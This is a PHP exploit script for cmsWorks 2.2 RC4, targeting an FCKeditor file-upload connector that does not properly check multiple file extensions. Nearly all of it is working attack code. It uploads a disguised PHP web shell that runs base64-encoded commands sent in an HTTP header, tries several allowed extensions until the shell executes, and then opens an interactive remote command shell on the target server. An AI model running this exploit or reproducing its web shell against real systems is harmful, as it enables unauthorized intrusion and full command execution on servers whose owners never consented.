cmsworks-upload.txt

`<?php  
/*  
-----------------------------------------------------------------  
cmsWorks 2.2 RC4 (fckeditor) Remote Arbitrary File Upload Exploit  
-----------------------------------------------------------------  
discovered by Stack  
exploited by ..: EgiX  
special thnx to EgiX  
details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed)  
  
[-] vulnerable code in path/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/php/config.php  
  
121. //File Area  
122. $fckphp_config['ResourceAreas']['File'] =array(  
123.   
124. //Files(identified by extension) that may be uploaded to this area  
125. 'AllowedExtensions' => array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),  
  
with a default configuration of this script, an attacker might be able to upload arbitrary  
files containing malicious PHP code due to multiple file extensions isn't properly checked  
*/  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
function upload()  
{  
global $host, $path;  
  
$connector = "/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/php/config.php";  
$file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");  
  
foreach ($file_ext as $ext)  
{  
print "\n[-] Trying to upload with .{$ext} extension...";  
  
$data = "--12345\r\n";  
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";  
$data .= "Content-Type: application/octet-stream\r\n\r\n";  
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";  
$data .= "--12345--\r\n";  
  
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $data;  
  
preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);  
  
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");  
  
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
  
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;  
  
sleep(1);  
}  
  
return false;  
}  
print "\n+--------------------------------------------------------------------+";  
print "\n| cmsWorks 2.2 RC4 (fckeditor) Remote Arbitrary File Upload Exploit |";  
print "\n+--------------------------------------------------------------------+\n";  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /achievo/\n";  
die();  
}  
$host = $argv[1];  
$path = $argv[2];  
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");  
else print "\n[-] Shell uploaded...starting it!\n";  
define(STDIN, fopen("php://stdin", "r"));  
while(1)  
{  
print "\nStack-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");  
$shell = explode("_code_", $html);  
print "\n{$shell[1]}";  
}  
else break;  
}  
?>  
  
  
`